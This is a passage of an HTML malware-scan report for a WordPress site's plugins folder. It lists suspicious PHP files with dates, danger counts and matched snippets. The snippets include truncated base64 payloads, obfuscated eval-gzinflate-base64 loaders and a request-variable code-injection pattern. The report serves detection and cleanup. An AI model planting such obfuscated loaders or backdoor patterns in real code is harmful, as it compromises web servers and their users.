</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_261").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/qlvtk/xyhyf.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:31:26</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:31:26</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_262" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_262").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/qlvtk/bkdcl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:31:26</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:31:26</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_263" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_263").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/qlvtk/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:12:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:12:39</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_264" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_264").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/backup-1769473098/sldebar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:18:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:18:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_265" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_265").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/backup-1769473098/libs/custom_file_5_1769473099.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:18:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:18:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_266" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_266").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/dlamg/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:25:21</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:25:21</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_267" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_267").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-file-manager/lib/js/extras/extras/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_268" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'wl9ULzP8PFEZB+2Bv1T2YWhsSKjXS17Zgfwbf/foavd7lXu+gG+03TL3vW+40LXeaw441jP5wnK+ys+6KPimXr99pdFvtbX0Sz+zTve/uj3/p3d8KV4lLe7uHubuHf8qHUsA3NxZq8tFvq57TN/YuUiY7tRbqfNbdxfvv47rDO7bO7GnIWDdGDSB7l8VNzkT4tzn2z+3oUPvazDSJMHVqC0rV1xKZ32LAw4MRfgAriq0cgETftfjp+rqj1TXaP58A5OcGzoCE3M9pThLsEiRk6MEQGYYyARyykQ462NONLg4rw4y7Nff54dImBddHJBIZhY4lj80F0t3q4eTpitDeHvb7gNdRz5md9CXH6yVrqVrlozSDEdCWfQXsusvM7eeoPfx+de+Xa90bnftXbh0JeBpSNI6iqivWfPOlqWD4ftRl4i1l4/0FtP/Fxdb1/HONbtTg/CyqmVTACwhk3FDA1aFVtnFMTMjPj7V8ce7QY1FPMG37LK...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$EFs</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_268").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-file-manager/lib/js/extras/extras/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.07 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:58</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_269" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$zv0vJ_xDfYjSB9n_</span><span style="color: #007700">[</span><span style="color: #0000BB">33</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_269").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 47.24 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_270" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function posix_getpwuid <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `posix_getpwuid`</p><p><i>[<a href="https://www.php.net/posix_getpwuid" target="_blank" class="text-primary">https://www.php.net/posix_getpwuid</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">posix_getpwuid</span><span style="color: #007700">(</span><span style="color: #0000BB">$uid</span><span style="color: #007700">); </span><span style="color: #0000BB">$stat</span><span style="color: #007700">[</span><span style="color: #DD0000">'owner'</span><span style="color: #007700">] = </span><span style="color: #0000BB">$names</span><span style="color: #007700">[</span><span style="color: #DD0000">'uid'</span><span style="color: #007700">][</span><span style="color: #0000BB">$uid</span><span style="color: #007700">] = </span><span style="color: #0000BB">$pwuid</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } else { </span><span style="color: #0000BB">$stat</span><span style="color: #007700">[</span><span style="color: #DD0000">'owner'</span><span style="color: #007700">] = </span><span style="color: #0000BB">$names</span><span style="color: #007700">[</span><span style="color: #DD0000">'uid'</span><span style="color: #007700">][</span><span style="color: #0000BB">$uid</span><span style="color: #007700">] = </span><span style="color: #0000BB">$uid</span><span style="color: #007700">; } } if (</span><span style="color: #0000BB">$gid</span><span style="color: #007700">) { if (isset(</span><span style="color: #0000BB">$names</span><span style="color: #007700">[</span><span style="color: #DD0000">'gid'</span><span style="color: #007700">][</span><span style="color: #0000BB">$gid</span><span style="color: #007700">])) { </span><span style="color: #0000BB">$stat</span><span style="color: #007700">[</span><span style="color: #DD0000">'group'</span><span style="color: #007700">] = </span><span style="color: #0000BB">$names</span><span style="color: #007700">[</span><span style="color: #DD0000">'gid'</span><span style="color: #007700">][</span><span style="color: #0000BB">$gid</span><span style="color: #007700">]; } else if (</span><span style="color: #0000BB">is_callable</span><span style="color: #007700">(</span><span style="color: #DD0000">'posix_getgrgid'</span><span style="color: #007700">)) { </span><span style="color: #0000BB">$grgid </span><span style="color: #007700">= </span><span style="color: #0000BB">posix_getgrgid</span><span style="color: #007700">(</span><span style="color: #0000BB">$gid</span><span style="color: #007700">); </span><span style="color: #0000BB">$stat</span><span style="color: #007700">[</span><span style="color: #DD0000">'group'</span><span style="color: #007700">] = </span><span style="color: #0000BB">$names</span><span style="color: #007700">[</span><span style="color: #DD0000">'gid'</span><span style="color: #007700">][</span><span style="color: #0000BB">$gid</span><span style="color: #007700">] = </span><span style="color: #0000BB">$grgid</span><span style="color: #007700">[</span><span style="color: #DD0000">'name'</span><span style="color: #007700">]; } else { </span><span style="color: #0000BB">$stat</span><span style="color: #007700">[</span><span style="color: #DD0000">'group'</span><span style="color: #007700">] = </span><span style="color: #0000BB">$names</span><span style="color: #007700">[</span><span style="color: #DD0000">'gid'</span><span style="color: #007700">][</span><span style="color: #0000BB">$gid</span><span style="color: #007700">] = </span><span style="color: #0000BB">$gid</span><span style="color: #007700">; } } return </span><span style="color: #0000BB">$stat</span><span style="color: #007700">; } protected function </span><span style="color: #0000BB">_subdirs</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">) { </span><span style="color: #0000BB">$dirs </span><span style="color: #007700">= </span><span style="color: #0000BB">false</span><span style="color: #007700">; if (</span><span style="color: #0000BB">is_dir</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">) && </span><span style="color: #0000BB">is_r</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 304</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_270").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wp-file-manager/lib/php/elFinder.class.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 183.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 20:08:11</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 3</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_271" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">, </span><span style="color: #0000BB">$args</span><span style="color: #007700">) { </span><span style="color: #0000BB">set_error_handler</span><span style="color: #007700">(</span><span style="color: #DD0000">'elFinder::phpErrorHandler'</span><span style="color: #007700">, </span><span style="color: #0000BB">E_WARNING </span><span style="color: #007700">| </span><span style="color: #0000BB">E_NOTICE </span><span style="color: #007700">| </span><span style="color: #0000BB">E_USER_WARNING </span><span style="color: #007700">| </span><span style="color: #0000BB">E_USER_NOTICE</span><span style="color: #007700">); </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">$currentArgs </span><span style="color: #007700">= </span><span style="color: #0000BB">$args</span><span style="color: #007700">; if (!</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">loaded</span><span style="color: #007700">) { return array(</span><span style="color: #DD0000">'error' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">error</span><span style="color: #007700">(</span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">ERROR_CONF</span><span style="color: #007700">, </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">ERROR_CONF_NO_VOL</span><span style="color: #007700">)); } if (</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">session_expires</span><span style="color: #007700">()) { return array(</span><span style="color: #DD0000">'error' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">error</span><span style="color: #007700">(</span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">ERROR_SESSION_EXPIRES</span><span style="color: #007700">)); } if (!</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">commandExists</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">)) { return array(</span><span style="color: #DD0000">'error' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">error</span><span style="color: #007700">(</span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">ERROR_UNKNOWN_CMD</span><span style="color: #007700">)); } </span><span style="color: #0000BB">$args</span><span style="color: #007700">[</span><span style="color: #DD0000">'reqid'</span><span style="color: #007700">] = </span><span style="color: #0000BB">preg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'[^0-9a-fA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function proc_close <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `proc_close`</p><p><i>[<a href="https://www.php.net/proc_close" target="_blank" class="text-primary">https://www.php.net/proc_close</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">proc_close</span><span style="color: #007700">(</span><span style="color: #0000BB">$process</span><span style="color: #007700">); } else { </span><span style="color: #0000BB">$return_var </span><span style="color: #007700">= -</span><span style="color: #0000BB">1</span><span style="color: #007700">; } return </span><span style="color: #0000BB">$return_var</span><span style="color: #007700">; } protected static function </span><span style="color: #0000BB">getCmdOfBind</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">) { list(</span><span style="color: #0000BB">$ret</span><span style="color: #007700">) = </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">'.'</span><span style="color: #007700">, </span><span style="color: #0000BB">$cmd</span><span style="color: #007700">); return </span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$ret</span><span style="color: #007700">); } protected static function </span><span style="color: #0000BB">addSubToBindName</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">, </span><span style="color: #0000BB">$sub</span><span style="color: #007700">) { return </span><span style="color: #0000BB">$cmd </span><span style="color: #007700">. </span><span style="color: #DD0000">'.' </span><span style="color: #007700">. </span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$sub</span><span style="color: #007700">); } public static function </span><span style="color: 